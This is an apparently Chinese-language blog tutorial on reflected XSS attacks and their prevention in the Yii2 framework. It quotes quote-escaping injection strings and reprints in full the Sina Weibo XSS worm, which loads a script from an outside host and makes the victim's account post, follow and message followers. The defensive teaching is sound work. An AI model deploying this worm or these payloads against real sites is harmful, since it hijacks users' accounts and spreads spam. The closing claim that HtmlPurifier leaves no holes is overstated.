YII2框架学习 安全篇(二) XSS攻击和防范(下)
坚持写博客真不容易,618抢购中断了一波就不想写了。接着XSS攻击和防范(上)继续讲基于反射的XSS攻击。
1)非法转账(基于反射的XSS攻击)
上周说的yii框架会让浏览器自动过滤js代码是不太准确的,一般是把js代码重新编码并加双引号变成字符串了。
但是,要注意的一点是防止js代码越狱,脱离编码和双引号。类似于",alert(3)//" 这种。这种时候只要把双引号也重新编码就可以防止越狱了。
不过,如果利用html实体编码的话是有机会的,类似"; 不巧的是&是url分割参数的符号。
然而,还有利用url编码的方法,把&编码成%26,可以通过escape()查看。比如%26quot;,alert(3)//”。对这种情况,只要把%26这种格式的转码回去就行了。
2)蠕虫
新浪微博曾经受到过xss蠕虫攻击,代码如下
function createXHR(){ return window.XMLHttpRequest? new XMLHttpRequest(): new ActiveXObject("Microsoft.XMLHTTP"); } function getappkey(url){ xmlHttp = createXHR(); xmlHttp.open("GET",url,false); xmlHttp.send(); result = xmlHttp.responseText; id_arr = ""; id = result.match(/namecard="true" title="[^"]*/g); for(i=0;i<id.length;i++){ sum = id[i].toString().split(""")[3]; id_arr += sum + "||"; } return id_arr; } function random_msg(){ link = " http://163.fm/PxZHoxn?id=" + new Date().getTime();; var msgs = [ "郭美美事件的一些未注意到的细节:", "建党大业中穿帮的地方:", "让女人心动的100句诗歌:", "3D肉团团高清普通话版种子:", "这是传说中的神仙眷侣啊:", "惊爆!范冰冰艳照真流出了:", "杨幂被爆多次被潜规则:", "傻仔拿锤子去抢银行:", "可以监听别人手机的软件:", "个税起征点有望提到4000:"]; var msg = msgs[Math.floor(Math.random()*msgs.length)] + link; msg = encodeURIComponent(msg); return msg; } function post(url,data,sync){ xmlHttp = createXHR(); xmlHttp.open("POST",url,sync); xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8"); xmlHttp.send(data); } function publish(){ url = "http://weibo.com/mblog/publish.php?rnd=" + new Date().getTime(); data = "content=" + random_msg() + "&pic=&styleid=2&retcode="; post(url,data,true); } function follow(){ url = "http://weibo.com/attention/aj_addfollow.php?refer_sort=profile&atnId=profile&rnd=" + new Date().getTime(); data = "uid=" + 2201270010 + "&fromuid=" + $CONFIG.$uid + "&refer_sort=profile&atnId=profile"; post(url,data,true); } function message(){ url = "http://weibo.com/" + $CONFIG.$uid + "/follow"; ids = getappkey(url); id = ids.split("||"); for(i=0;i<id.length - 1 & i<5;i++){ msgurl = "http://weibo.com/message/addmsg.php?rnd=" + new Date().getTime(); msg = random_msg(); msg = encodeURIComponent(msg); user = encodeURIComponent(encodeURIComponent(id[i])); data = "content=" + msg + "&name=" + user + "&retcode="; post(msgurl,data,false); } } function main(){ try{ publish(); } catch(e){} try{ follow(); } catch(e){} try{ message(); } catch(e){} } try{ x="g=document.createElement("script");g.src="http://www.2kt.cn/images/t.js";document.body.appendChild(g)";window.opener.eval(x); } catch(e){} main(); var t=setTimeout("location="http://weibo.com/pub/topic";",5000);
而这段代码就是通过之前的反url编码的方式,用src插入进去的。主要是完成了发一条微博,然后关注作者,然后向粉丝推送这条链接达到传递的目的。
那么,连新浪都翻车了,我们的YII框架对此当然做了防范。第一,利用yiihelpersHtml::encode()方法对代码进行html实体编码,这个前面说过。所有js代码都连标签会变成html代码。实际上是用到php内置的htmlspecialshars()方法。第二,利用yiihelpersHtmlPurifier::process()方法对代码进行过滤,直接去除掉js代码。利用的是lexer词法分析,这就是浏览器用的分析方法,可以说是没有漏洞了,总不能骗过浏览器吧。
声明:该文观点仅代表作者本人,入门客AI创业平台信息发布平台仅提供信息存储空间服务,如有疑问请联系rumenke@qq.com。
- 上一篇: YII2框架学习 安全篇(一) XSS攻击和防范(上)
- 下一篇:没有了